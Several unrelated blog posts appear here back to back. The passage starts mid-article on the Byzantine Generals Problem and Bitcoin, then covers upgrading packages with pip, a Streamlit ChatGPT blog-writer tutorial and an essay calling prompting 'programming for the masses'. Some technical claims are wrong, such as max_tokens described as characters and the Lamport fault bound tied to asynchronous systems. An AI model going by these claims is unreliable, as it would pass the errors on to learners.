3⃣ Scenario 3: The Compromised Communication Channel Let’s say there are three loyal generals, A, B, and C, who need to reach consensus on attacking (1) or retreating (0). They communicate through a shared channel, but an enemy has compromised the channel and can intercept and alter their messages. When the generals send their decision to attack (1), the enemy changes the messages to retreat (0). As a result, the generals receive false information, fail to reach consensus, and the coordinated attack is unsuccessful.

4⃣ Scenario 4: The Double Agent General In this scenario, there are four generals: A, B, C, and D. Generals A, B, and C are loyal, but D is a double agent working for the enemy. The generals need to decide whether to attack (1) or retreat (0). The loyal generals agree to attack (1). However, general D sends a message to retreat (0) to A and B, while sending a message to attack (1) to C. The conflicting information creates confusion and prevents the generals from reaching a consensus, leading to a failed attack.

5⃣ Scenario 5: The Chain of Traitors Imagine there are five generals: A, B, C, D, and E. Generals A, B, and C are loyal, while D and E are traitors. They need to decide whether to attack (1) or retreat (0). The loyal generals agree to attack (1) and share their decision with the next general in line. However, general D, being a traitor, alters the message and sends a retreat (0) order to E. General E, also a traitor, forwards the retreat (0) order to A. Now A, B, and C receive contradictory information, causing them to fail in reaching consensus and undermining the coordinated attack.

6⃣ Scenario 6: The Traitors’ Majority In this scenario, there are five generals: A, B, C, D, and E. Generals A and B are loyal, but C, D, and E are traitors. The generals need to decide whether to attack (1) or retreat (0). The loyal generals agree to attack (1). However, the traitorous generals send messages to attack (1) to general A and retreat (0) to general B. Since there are more traitorous generals than loyal ones, it becomes impossible for the loyal generals to identify the correct course of action, leading to a failure in reaching consensus and a botched attack.

What makes this problem so tricky? It’s called Byzantine Fault Tolerance (BFT) .

These faults can happen for lots of reasons: software bugs , hardware malfunctions , or even sneaky cyberattacks . The challenge is making a system that can handle these faults without breaking a sweat.

Formal Definition

The Byzantine Generals Problem is a fundamental challenge in distributed computing that addresses the issue of achieving consensus among distributed nodes or agents in the presence of faulty or malicious nodes. The formal definition of the problem can be stated as follows:

Given a distributed system with n nodes, some of which may be faulty or Byzantine, devise a protocol that enables the honest nodes to reach a common agreement or consensus on a specific value or action, under the following conditions:

1. All honest nodes must agree on the same value or action.
2. If the source node (the node that initiates the consensus process) is honest, then all honest nodes must agree on the value or action proposed by the source node.

The protocol should be robust against Byzantine faults, which are failures that can lead to arbitrary or unpredictable behaviors, including sending inconsistent information to different nodes or colluding with other faulty nodes to disrupt the consensus process.

The objective is to find a solution that guarantees consensus among the honest nodes, even when up to f nodes in the system are faulty or Byzantine, with f < n/3 for asynchronous systems and f < n/2 for synchronous systems.

Game Theory

Enter game theory, a way to think about social situations with competing players. It helps us understand the challenge of these generals, which also applies to computer systems . We need a way to make sure everyone can agree, even if there are sneaky liars around.

The Byzantine Generals Problem incorporates elements of game theory, a mathematical framework used to model situations where decision-makers interact strategically. In the context of the Byzantine Generals Problem, game theory helps analyze and understand the behavior of nodes (or participants) in a distributed system, considering the possible actions of faulty or malicious nodes.

The game theory concepts relevant to the Byzantine Generals Problem are as follows:

1. Players: In the Byzantine Generals Problem, the players are the nodes (or generals) in the distributed system. Each player has its own strategy, which could be honest (loyal) or dishonest (traitorous).
2. Strategies: Each node can choose to be honest and transmit accurate information or be malicious and send contradictory information to other nodes. The goal of the malicious nodes is to prevent the system from reaching consensus, while the honest nodes strive to achieve consensus despite the presence of faulty nodes.
3. Payoffs: The payoff for the honest nodes is the successful achievement of consensus, leading to a coordinated action (e.g., a successful attack). The payoff for the malicious nodes is the disruption of consensus, causing confusion and preventing coordinated action.
4. Equilibrium: In the context of the Byzantine Generals Problem, an equilibrium is reached when a consensus algorithm successfully enables the honest nodes to achieve consensus, despite the presence of faulty nodes. This equilibrium is considered a “solution” to the problem.

To devise a robust consensus algorithm that solves the Byzantine Generals Problem, game theory helps assess the incentives and potential actions of all players (nodes) in the system.

Famous Lamport Paper

Back in 1982, some super-smart researchers (Lamport, Shostak, and Pease) published a paper that described the Byzantine Generals Problem and proposed solutions. They showed that it’s not just about military communication , but it affects all kinds of computer systems too!

The authors presented the problem using an analogy involving Byzantine generals who need to coordinate an attack or retreat while communicating only through messengers. They acknowledged the potential for some generals to be traitorous and send contradictory messages, creating confusion and preventing consensus.

The paper provided algorithms and proofs for various cases of the problem, depending on the number of total nodes and the number of faulty nodes. The authors demonstrated that, for a system to be fault-tolerant and reach consensus, the number of total nodes (n) must be at least 3 times the number of faulty nodes (f) (i.e., n > 3f) in an asynchronous system.

The Lamport et al. paper was a groundbreaking work that significantly advanced the understanding of distributed computing, fault tolerance, and consensus. The Byzantine Generals Problem continues to be an essential concept in the development of distributed systems, particularly in the context of blockchain technology and cryptocurrencies.

Satoshi’s Solution to the Byzantine Problem: Bitcoin

In the world of decentralized systems, this problem is super important. Centralized systems have a big boss (like a bank or government) that can step in if something goes wrong. But decentralized systems don’t have that safety net, so they need to solve the Byzantine Generals Problem on their own.

So, how can we create a trustworthy currency that everyone can agree on? Enter Bitcoin (BTC) ! It’s the first system to truly solve the Byzantine Generals Problem, making it a groundbreaking game-changer.

What If Bitcoin Wouldn’t Have Solved the Byzantine Generals Problem?

The following bad scenarios could’ve happened if Satoshi hadn’t fully solved the Byzantine Generals Problem. That’s why it was such a groundbreaking invention!

1⃣ Double Spending Spree : If Bitcoin hadn’t solved the Byzantine Generals Problem, Alice could spend her bitcoin on a fancy new gadget from Bob and then use the same bitcoin to buy a delicious pizza from Carol. Without consensus, both transactions would be considered valid, leading to chaos in the Bitcoin network and undermining the trust in the currency.

2⃣ Miner Mayhem : Miners competing to validate blocks might end up validating different versions of the blockchain , creating multiple branches and causing confusion. Users wouldn’t know which branch to trust, making transactions risky and uncertain.

3⃣ Transaction Tangle : If Bitcoin couldn’t reach consensus, Alice might send bitcoin to Bob, but Carol, who runs a node, might register a different transaction, sending the same bitcoin to Dave. This tangled web of conflicting transactions would create uncertainty and diminish trust in the system.

4⃣ Cryptocurrency Carousel : Users might see their balances change unexpectedly, as faulty nodes could report different balances for the same wallet. One moment you’re a Bitcoin millionaire , and the next, you’ve got zilch. Talk about a wild ride!

5⃣ Hacking Havoc : If Bitcoin hadn’t addressed the Byzantine Generals Problem, malicious actors could exploit the lack of consensus to manipulate the network. They might create fake transactions, falsify balances, or even steal bitcoins, causing panic and distrust among users.

6⃣ Slow-motion Meltdown : Without solving the Byzantine Generals Problem, transactions would take ages to confirm, if they even confirm at all. Imagine waiting for your Bitcoin payment to go through while watching a sloth cross the road. Yep, it’d be that slow! And with such a sluggish system, nobody would want to use Bitcoin.

---

Luckily, Bitcoin’s blockchain technology and consensus algorithms like Proof of Work solved the Byzantine Generals Problem, ensuring trust, security, and reliability in the network. Phew!

But How Does Bitcoin Solve The Problem?

Bitcoin solves the Byzantine Generals Problem through a combination of its blockchain technology and the Proof of Work (PoW) consensus algorithm.

Here’s a breakdown of how it works, with examples:

1⃣ Blockchain Structure : Bitcoin’s transactions are grouped into blocks, and each block contains a reference to the previous block’s unique identifier (hash). This creates a chain of blocks that is difficult to tamper with, as altering any block would require changing all subsequent blocks.

Example: Alice sends 1 BTC to Bob and then tries to double-spend that same BTC by sending it to Carol. The blockchain structure ensures that the first transaction (to Bob) is permanently recorded and cannot be altered without changing all subsequent blocks.

2⃣ Proof of Work (PoW) : Miners compete to validate and add new blocks to the blockchain by solving complex mathematical puzzles. The first miner to solve the puzzle gets to add the new block and is rewarded with freshly minted bitcoins. This process requires considerable computational power, making it costly and difficult for any single actor to take control of the network.

Example: A malicious miner wants to manipulate the network by validating a fraudulent transaction. However, doing so would require outpacing the combined computational power of all other miners, which is highly improbable and expensive.

3⃣ Longest Chain Rule : When multiple valid versions of the blockchain emerge (forks), Bitcoin follows the longest chain rule. Nodes consider the chain with the most accumulated PoW as the true version, eventually leading to a single, agreed-upon blockchain.

Example: Two miners, Miner A and Miner B, solve the PoW puzzle at nearly the same time, resulting in two competing branches of the blockchain. As other miners continue mining, one branch becomes longer than the other. Nodes eventually adopt the longer chain, reaching consensus on the valid blockchain.

4⃣ Network Incentives : Bitcoin’s design rewards honest behavior and punishes dishonesty. Miners receive block rewards and transaction fees for validating transactions and adding blocks to the chain. Acting maliciously would require immense resources with little chance of success, making it economically unappealing.

Example: A group of malicious miners considers launching a 51% attack to control the network. However, they realize that the cost of acquiring the necessary computational power would outweigh any potential gains. Instead, they decide to mine honestly, contributing to the network’s security and stability.

By incorporating these features, Bitcoin successfully solves the Byzantine Generals Problem, ensuring consensus, trust, and security within the network.

Satoshi’s Bitcoin Whitepaper

Satoshi Nakamoto’s Bitcoin whitepaper, released in October 2008, laid the groundwork for solving the Byzantine Generals Problem, although the term itself wasn’t explicitly used. The solution was implemented with the launch of the Bitcoin network in January 2009.

Nakamoto’s method involves cryptographic security and public-key encryption to address the Byzantine Generals Problem within a digital electronic network. Cryptographic security employs hashing to prevent data tampering, while public-key encryption verifies the identity of network users.

In the blockchain, transactions are secured within blocks connected by their hash values. All hashes can be traced back to the genesis block. The blockchain employs a Merkle Tree to verify hashes, with each block in the network considered valid if it originates from the genesis block.

Merkle trees, sometimes called Binary hash trees, are a popular kind of data structure in the world of computer science . They play a crucial role in Bitcoin and other cryptocurrencies, making blockchain data encryption more efficient and secure .

Miners validate blocks by competing to solve cryptographic puzzles as part of a Proof of Work (PoW) consensus mechanism.

Bitcoin resolves the Byzantine Generals Problem by using PoW to create an objective set of rules for the blockchain. A network participant must present proof of effort expended to add blocks to the blockchain. The cost of this work incentivizes accurate information sharing.

Objective rules ensure that there is no disagreement or tampering with the information on the Bitcoin network. The system for choosing who can mint new Bitcoin and the rules governing valid or invalid transactions are both objective. Moreover, once a block is added to the blockchain, it becomes immutable.

Miners in the blockchain are analogous to generals, with each node responsible for validating transactions, akin to the messages delivered to generals. Cryptographic security protects messages from potential attacks by malicious actors, such as hackers. Transactions are bundled into blocks and hashed to prevent tampering. By placing miners in a competition to validate blocks, Satoshi makes the process more decentralized and probabilistic, preventing any single miner from monopolizing validation.

Miners compete to solve a cryptographic puzzle using their computational power or hash rate. The higher the hash rate, the greater the chance of solving the puzzle. When a miner solves the puzzle, they broadcast the solution to the network, and other miners must verify or reject the value based on a difficulty target.

The Bitcoin network’s members can reach consensus on the blockchain’s state and all transactions at any given moment. Each node verifies block validity according to the PoW criterion and transaction validity based on additional criteria. If a network member tries to share misleading information, nodes will identify it as objectively invalid and disregard it. The trustless nature of Bitcoin eliminates the need for reliance on other network members since each node can independently verify all information.

The decentralized nature of the blockchain ensures that there is no single point of failure. Blocks are stored in a distributed database, replicated across the network. This redundancy also contributes to fault tolerance, guaranteeing that no single malfunctioning computer can bring down the entire system. This is akin to having multiple messengers to relay messages even if one gets ambushed, ensuring the message will not be lost as it is copied by other messengers.

Cryptography Mailing List Description of the Problem

Here’s Satoshi‘s rephrasing of the problem in his correspondence with the “Cryptography Mailing List” to which he initially launched the Bitcoin open-source project and whitepaper:

The proof-of-work chain is a solution to the Byzantine Generals' Problem. I'll try to rephrase it in that context. A number of Byzantine Generals each have a computer and want to attack the King's wi-fi by brute forcing the password, which they've learned is a certain number of characters in length. Once they stimulate the network to generate a packet, they must crack the password within a limited time to break in and erase the logs, otherwise they will be discovered and get in trouble. They only have enough CPU power to crack it fast enough if a majority of them attack at the same time. They don't particularly care when the attack will be, just that they all agree. It has been decided that anyone who feels like it will announce a time, and whatever time is heard first will be the official attack time. The problem is that the network is not instantaneous, and if two generals announce different attack times at close to the same time, some may hear one first and others hear the other first. They use a proof-of-work chain to solve the problem. Once each general receives whatever attack time he hears first, he sets his computer to solve an extremely difficult proof-of-work problem that includes the attack time in its hash. The proof-of-work is so difficult, it's expected to take 10 minutes of them all working at once before one of them finds a solution. Once one of the generals finds a proof-of-work, he broadcasts it to the network, and everyone changes their current proof-of-work computation to include that proof-of-work in the hash they're working on. If anyone was working on a different attack time, they switch to this one, because its proof-of-work chain is now longer. After two hours, one attack time should be hashed by a chain of 12 proofs-of-work. Every general, just by verifying the difficulty of the proof-of-work chain, can estimate how much parallel CPU power per hour was expended on it and see that it must have required the majority of the computers to produce that much proof-of-work in the allotted time. They had to all have seen it because the proof-of-work is proof that they worked on it. If the CPU power exhibited by the proof-of-work chain is sufficient to crack the password, they can safely attack at the agreed time. The proof-of-work chain is how all the synchronisation, distributed database and global view problems you've asked about are solved.

In other words:

The Byzantine Generals have computers and want to attack the King’s Wi-Fi by cracking the password. They need to work together to break in and erase logs before getting caught. The generals don’t care when they attack but must agree on a time. They announce a time, but the network isn’t instant, causing confusion.

They use a proof-of-work chain to agree. Each general starts solving a super hard problem, including the attack time in its hash. It’s so tough that it takes 10 minutes for one to find a solution. When a general solves it, he tells everyone, and they update their work.

After 2 hours, an attack time is confirmed by a chain of 12 proofs-of-work. Each general can see the CPU power spent and know that most computers worked on it. The proof-of-work chain helps them sync, share info, and see the big picture. With enough power, they can attack at the agreed time.

Summary

the Byzantine Generals Problem is a classic challenge in distributed systems, where trust and coordination are critical. Bitcoin, with its innovative proof-of-work mechanism, has successfully addressed this issue, paving the way for a decentralized and trustless digital currency.

As technology continues to evolve at an exponential pace, it’s crucial to stay informed and ahead of the curve. Don’t miss out on the latest insights into exponential technologies! Subscribe to our mailing list now and join a community of curious minds, eager to learn and grow together.

Link: https://blog.finxter.com/email-academy/

Click the link and sign up today!

If you’ve ever found yourself in a situation where you need to update or upgrade a package using Python’s pip, but just can’t figure out how, don’t worry! You’re not alone.

The Correct Command to Upgrade a Package

To upgrade a package with Python’s pip, you can use the install command along with the --upgrade or -U flag. Open a command prompt or terminal and run the following command: pip install my_package -U.

pip install --upgrade my_package

or

pip install -U my_package

Replace my_package with the name of the package or module you want to upgrade. This command will automatically check for the latest version of the package and upgrade it if a newer version is available. If the package is already at its latest version, the command will do nothing.

Ensure you have the appropriate permissions (e.g., administrator or sudo access) if you’re upgrading a package installed globally on your system.

Using Sudo and –user Flag

When upgrading a package installed globally on your system, ensure you have the appropriate permissions, such as an administrator or sudo access. However, using sudo is considered unsafe, so avoid it if possible.

If you don’t have admin access, consider using the --user flag to install the package only for the current user:

pip install <package_name> --upgrade --user

Updating Pip Itself

Though the original question focused on updating specific packages, some users might want to update pip. To do that, use the following command:

For Python 3.4+:

sudo pip3 install pip --upgrade

For Python 2.7:

sudo pip install pip --upgrade

Extra Tip: Updating All Packages

If you’re looking to update all your installed packages at once, you can use the following one-liner:

for i in $(pip list -o | awk 'NR > 2 {print $1}'); do sudo pip install -U $i; done

This will update all outdated packages, but remember that it will require root access.

---

And there you have it! You now know how to update or upgrade a package using Python’s pip. Happy coding!

Make sure to check out the free Finxter cheat sheet collection (with OpenAI and basic Python cheat sheets):

Barely four months since OpenAI unleashed ChatGPT, a human-behavior-mimicking chatbot that took the community by storm, they recently announced its successor, GPT-4. This development will continue to disrupt the global market and, unfortunately, take the jobs of millions of people.

While it’s a welcome development for ChatGPT users looking to explore the capabilities of AI in their respective fields of human endeavor, the bad news is that ChatGPT-4 is not for free. However, we are yet to see if it could be freely available following Microsoft’s announcement that its recently introduced Bing AI is operating on GPT-4.

Hence, if you are unwilling to commit to a $20 monthly subscription, or you feel ChatGPT-3 is working flawlessly for you, you may be better off with ChatGPT-3. What is more, ChatGPT-4 is no different than its previous GPT model if it’s about taking information from your question and giving you an answer it deems perfect.

The only difference is that it is more accurate and creative, plus the special graphic features that will turn your text into pictures and videos.

The Purpose of This Tutorial

You will benefit from this tutorial if you have not yet learned how to implement the ChatGPT model using Streamlit.

As a Python developer, you have undoubtedly learned to implement ChatGPT in your Python script and have it running in your terminal. So this tutorial will be nothing new to you except for a few things.

Overall, the purpose of this tutorial is threefold:

• To improve your Python skills.
• To demonstrate how to implement the ChatGPT model using Streamlit.
• To show you how to use the model to write unique blog articles.

Try this app in live demo here.

Creating a Streamlit Dashboard

Writing a blog article involves a series of steps. First, you have to brainstorm topic ideas based on a selected niche and choose the one you prefer. Then, you outline the sections. In each section, you generate content corresponding to the sections and the topic.

We will try using ChatGPT to automate these tasks. Note that this article is created with ChatGPT-3 in mind. Of course, the principle can be applied to the GPT-4 model.

I usually start with a main() function that will run as soon as we open the app. But in this tutorial, something came before the function.

import openai
import streamlit as st API_KEY = st.sidebar.text_input('Enter your API key')
openai.api_key = API_KEY

We made provision for our users to use their API key given that we now have a new model with a paid plan.

Not everyone will let others use their paid plan for free. If you have no problem with that, then you are free to include your key in the script. Now comes the main() function.

def main(): st.sidebar.header('AI Blog Writing Tool') st.sidebar.info('An AI tool that can generate blog content') st.sidebar.info('Start with the first option\n before you proceed to the next.') op = st.sidebar.selectbox('Steps', ['topics', 'section', 'content']) if op == 'topics': topics() elif op == 'section': section() else: content()

Everything is self-explanatory. Each step you select will take you to the function that will be executed.

So, let’s imagine we are writing a blog article with Python programming being the selected niche. We narrow down the niche to data science.

Let’s see if the model can generate blog topics for us. To do so we selected the topic option, triggering a callback function.

def topics(): st.header('AI Blog Writing Tool') st.info('To generate blog topic, please follow the pattern given below:') prompt = st.text_area('Write your words', height=50, value='Generate blog topic on data science with Python') if st.button('Send'): st.text(BlogTopics(prompt))

The prompt is the question we will feed to the model. It will be sent to the BlogTopics() function. What we feed to the model will help it know what to give as an answer. In the st.text_area() I gave a sample you can use based on your selected niche.

def BlogTopics(prompt): response = openai.Completion.create( engine="davinci-instruct-beta-v3", prompt=prompt, temperature=0.7, max_tokens=100, top_p=1, frequency_penalty=0, presence_penalty=0 ) return response.choices[0].text

.We have to import the openai module to enable this function to run.

Recommended: How to Install OpenAI in Python?

Notice the model that was used. In one Django application, I used the text-davinci-003 model. But in this one, we are using the davinci-instruct-beta-v3 model. It’s proven to be an ideal one for generating unique blog content.

The max_tokens is the number of characters we want the model to generate. Blog topics shouldn’t be more than that. For a detailed explanation of the arguments, check this article.

Let’s now run the app on Streamlit to see the results.

Wow! Can you see 9 blog topic ideas the ChatGPT model has generated for us? That’s interesting. So, let’s select number 2, How to use Pandas for data analysis. This is now our topic.

The next step is sections. When selected, it calls the callback function.

def section(): st.header('AI Blog Writing Tool') st.info('To generate blog section, please follow the pattern given below:') prompt = st.text_area('Write your words', height=50, value='Write blog sections\n\nBlog topic: ') if st.button('Send'): st.text(BlogSections(prompt))

Notice what I suggested in the st.text_area() function. You can follow the same pattern. As usual, another function gets executed when the button is pressed.

def BlogSections(prompt): response = openai.Completion.create( engine="davinci-instruct-beta-v3", prompt=prompt, temperature=0.6, max_tokens=100, top_p=1, frequency_penalty=0, presence_penalty=0 ) return response.choices[0].text

This is similar to the BlogTopics() function. So let’s run it and see the results.

Please note that the results might be different from yours. At times, you may have to run it several times to get what you want. I did that and got ‘Introduction’ as the first section.

Based on the sections, you select one and feed it to the model. Here is the function called when the last step of the main() function is selected.

def content(): st.header('AI Blog Writing Tool') st.info('To generate blog content, please follow the pattern given below:') prompt = st.text_area('Write your words', height=50, value="Expand the blog section in a professional tone \n\nBlog Topic:\n\nSection:") if st.button('Send'): st.text(BlogContent(prompt))

And here is the BlogContent() function. The only difference is the max_tokens.

def BlogContent(prompt): response = openai.Completion.create( engine="davinci-instruct-beta-v3", prompt=prompt, temperature=0.7, max_tokens=400, top_p=1, frequency_penalty=0, presence_penalty=0 ) return response.choices[0].text

Can you see a 400 max_tokens of text have been generated based on the introductory section? The key lies in the prompt you feed to the model. Do the same to all your sections and before long, you will have a unique blog article professionally written by ChatGPT.

Don’t forget to copy each of the text generated.

Conclusion

We have taken advantage of advancements in technology, the latest being the invention of ChatGPT, an AI model that mimics human behavior, to write a unique blog article.

You now have at your disposal an AI writing tool you can use for all your blog articles. Check my GitHub page for the full code. The app is already running on Streamlit Cloud. Make sure you check it out. Enjoy your day.

Introduction

Prompting and GPT-4
Main argument: Prompting is programming for the masses

---

The recent release of GPT-4 has taken the tech world by storm, providing powerful AI-driven solutions that transform how we work and interact with technology.

Recommended: GPT-4 is Out! A New Language Model on Steroids

One such groundbreaking innovation is “Prompting”, a term that refers to AI-assisted code completion and generation. As more people become familiar with this concept, it’s becoming increasingly evident that Prompting is not just a novel feature, but a game-changing revolution in programming.

In this article, we will explore the idea that Prompting is, in fact, programming for the masses.

By examining the evolution of programming technologies over the years and the impact of Prompting on the programming landscape, we will demonstrate how this new paradigm democratizes programming and opens up new opportunities for people from all walks of life.

So, without further ado, let’s dive into the world of Prompting and discover how it reshapes the future of programming.

Evolution of Programming Technologies

Evolution of programming technologies, from punch cards to AI-assisted prompting
Each abstraction layer 10x’d the number of programmers and broadened the spectrum of activities considered programming

---

To fully understand the significance of Prompting and its role as programming for the masses, it’s essential to take a step back and examine the evolution of programming technologies over the years.

I’ll give you a completely personal view on the history of programming language evolution going from manipulating “0”s and “1”s towards natural language programming:

• [1940s-1950s] Punch Cards
• [1950s-1970s] Assembly Languages
• [1970s-1990s] Low-level C
• [1980s-2000s] Higher-level C++, Java
• [1990s-2020s] Intuitive Python
• [2000s-2020s] Smart IDEs + Code Generation
• [2010s-2020s] Machine Learning Frameworks
• [2020s+] Prompting and AI-driven Code Assistance

Since the early days of computing, several key milestones have been in developing programming languages and tools.

Each new abstraction layer has made programming more accessible, enabling more people to participate in the field and broadening the range of activities that can be considered programming.

Here’s my rough estimate of the number of programmers in each “age”:

Skill	Approximate Number of People
Punch Cards	10,000
Assembly	100,000
C Programming	1,000,000
C++ or Java	10,000,000
Python	100,000,000
Automatically Generate Code	200,000,000
Prompting (GPT-based coding)	2,000,000,000

The journey began in the 1940s and 1960s with punch cards, which allowed programmers to encode instructions for early computers. Assembler languages soon followed, providing mnemonic codes that represented machine instructions, making programming more human-readable.

The 1970s and 1980s saw the introduction of low-level C, which allowed for greater abstraction and more flexibility in programming. Higher-level languages like C++ and Java emerged in the 1980s and 2000s, further simplifying the programming process and opening up new possibilities for software development.

With its intuitive and beginner-friendly syntax, Python came into the picture in the 2000s and 2010s, making programming even more accessible to a wider audience.

The introduction of smart IDEs and code generation tools in the 2010s and 2020s further streamlined the programming process, allowing developers to work more efficiently and effectively.

With the advent of Prompting in the 2020s, we’re witnessing the next major leap in the evolution of programming technologies. By leveraging AI-driven code completion and generation, Prompting is breaking down barriers and enabling even non-programmers to participate in creating and customizing software applications.

This new layer of abstraction is set to change the programming landscape profoundly, expanding the reach of programming like never before.

The total addressable market (TAM) of programming is not in the millions, tens of millions, or even hundreds of millions. Prompting has paved the road for the billions!

Comparing Prompting to Googling

Prompting vs Googling as essential skills in the tech world
Prompting goes beyond just being a skill to learn, but a paradigm shift in programming

---

As Prompting gains traction, many in the tech industry are drawing parallels between it and Googling, the now-ubiquitous skill of searching for information online.

Indeed, both skills have become increasingly important in our digital age, and learning to use them effectively can greatly enhance one’s ability to solve problems, access knowledge, and innovate. However, likening Prompting to Googling does not fully capture the transformative power of this new technology.

While Googling is an essential skill that enables users to find answers to questions and access a wealth of information at their fingertips, Prompting represents a more profound shift in the programming world.

Rather than merely being another skill to learn, Prompting is a paradigm shift that transforms how we approach programming. It effectively democratizes the process, allowing individuals with little or no programming experience to create, modify, and deploy software applications.

Everybody with an idea can now spin up an app easily and effectively. More importantly, everybody can create an app unique to their needs.

In essence, Prompting does for programming what Googling does for information retrieval. It simplifies and streamlines the process, making it more accessible and intuitive for a broader audience. This, in turn, fosters innovation and creativity, as more people can engage in programming and contribute their ideas to the world of technology.

By breaking down barriers and empowering individuals from all walks of life, Prompting is redefining the nature of programming and expanding its reach to encompass a greater range of activities and participants.

The Impact of Prompting on the Programming Landscape

Democratization of programming and the expansion of the total addressable market (TAM) for programmers
Prompting lowers the barrier to entry for programming, allowing more people to participate and innovate

---

As Prompting continues to revolutionize the way we approach programming, its impact on the programming landscape is becoming increasingly evident.

One of the most significant changes brought about by Prompting is the democratization of programming, which has led to an expansion of the total addressable market (TAM) for programmers. With the introduction of this new layer of abstraction, a wider range of individuals can now participate in programming, regardless of their background or prior experience.

Prompting lowers the barrier to entry for programming by simplifying complex tasks and providing AI-driven code completion and generation.

For example, the following gives me a Python script to calculate the ROI of investing in broad index funds:

This enables even non-programmers to create software applications with relative ease, allowing them to bring their ideas to life without being limited by a lack of technical expertise. As a result, we can expect to see a surge of new innovations, as more people gain the ability to contribute their unique perspectives and skills to the world of technology.

But this is not all – instead of writing a Python program that does it, you can simply ask ChatGPT to do it!

 Prompt: Give me a table of investment results when investing $10,000 for 40 years at a 9% annual ROI!

So not only has traditional programming become easier and more accessible, it is often not needed because ChatGPT can do the actual work.

Recommended: ChatGPT at the Heart – Building a Movie Recommendation Python Web App in 2023

The rise of Prompting also has implications for education and workforce development. As programming becomes more accessible to the masses, the demand for coding education will likely increase, with more people seeking to learn programming skills to stay competitive in the job market.

This could lead to a shift in the way programming is taught, with a greater emphasis on using AI-driven tools like Prompting, alongside traditional programming languages and techniques.

Furthermore, the growing prevalence of Prompting may also change the way companies hire and develop talent. With programming becoming more accessible, companies may place less emphasis on formal coding education and experience, instead focusing on an individual’s ability to leverage AI-assisted tools like Prompting to solve problems and innovate.

This could lead to a more diverse and inclusive tech industry, as individuals from various backgrounds can contribute their talents and ideas.

The Future of Prompting and its Implications

Future developments and improvements in Prompting technology
Potential impact on education, job markets, and the tech industry

---

As Prompting technology continues to evolve and improve, we can expect its impact on the programming landscape to become even more profound.

Future developments in AI-driven code completion and generation tools may lead to even greater levels of abstraction, further simplifying the programming process and enabling more people to engage with technology in new and exciting ways.

One potential growth area is integrating Prompting tools with other technologies, such as

• augmented and virtual reality,
• IoT devices,
• spreadsheets,
• games, and
• voice assistants.

This could give rise to new forms of interaction and collaboration, enabling people to create and modify software applications in more intuitive and immersive ways.

With Microsoft’s ChatGPT Bing integration, we already see how massive billion-dollar industries such as search engines now have “ChatGPT at the heart”.

Another possibility is the development of more advanced and specialized Prompting tools tailored to specific industries or use cases.

This could lead to greater customization and personalization in software development, as individuals can leverage AI-driven tools to create bespoke applications that cater to their unique needs and preferences.

You can now start a massive business from your garage, leveraging infinite artificial intelligence to create insane value.

As Prompting becomes increasingly prevalent, it may also drive changes in how programming languages and frameworks are designed. Language creators may focus on developing more AI-friendly languages, allowing seamless integration with Prompting tools and enabling developers to work more efficiently and effectively.

Ultimately, the rise of Prompting holds the potential to reshape the entire tech industry, from education and workforce development to how we design and interact with technology. By democratizing programming and making it accessible to a wider audience, Prompting is ushering in a new era of innovation and creativity, empowering individuals from all walks of life to contribute their ideas and talents to the world of technology.

Getting Started with Prompting

7 Effective Prompting Tricks for ChatGPT
Explore Prompting and leverage it to enhance their coding skills and productivity

---

As the programming world continues to evolve, individuals interested in technology must keep up with the latest advancements and learn how to harness the power of AI-driven tools like Prompting.

To help you get started, we’d like to introduce a comprehensive blog tutorial that can guide you through the process:

Recommended: 7 Effective Prompting Tricks for ChatGPT

For your convenience, I summarized the article using simple prompting:

By learning to leverage the power of AI-assisted code completion and generation, you’ll be well on your way to enhancing your coding skills and boosting your productivity.

I encourage you to explore the world of Prompting and experiment with how it can help you create, modify, and deploy software applications. As you familiarize yourself with this cutting-edge technology, you’ll be well-equipped to stay ahead of the curve and make your mark in the rapidly evolving programming landscape.

Conclusion

As you’ve explored throughout this article, Prompting represents a fundamental paradigm shift in the programming landscape, ushering in a new era of programming for the masses.

By leveraging AI-driven code completion and generation tools, Prompting is democratizing programming, making it more accessible and intuitive for a wider range of individuals.

You’ve learned how the evolution of programming technologies has paved the way for this paradigm shift, with each new layer of abstraction increasing the number of programmers and broadening the scope of what can be considered programming. The rise of Prompting is set to further expand the reach of programming, empowering more people to engage with technology and contribute their unique ideas and talents.

As you embark on your journey into the world of Prompting, remember that this technology holds the potential to reshape not only the way you work but also the entire tech industry. By embracing the change and learning to harness the power of AI-driven tools like Prompting, you’ll be well-positioned to thrive in this new era of programming for the masses.

Action! So, go forth, explore the potential of Prompting, and become part of the next revolution in programming. The future is bright, and the possibilities are endless!

Definitely download the prompting cheat sheet I created here:

Recommended: Free ChatGPT Prompting Cheat Sheet (PDF)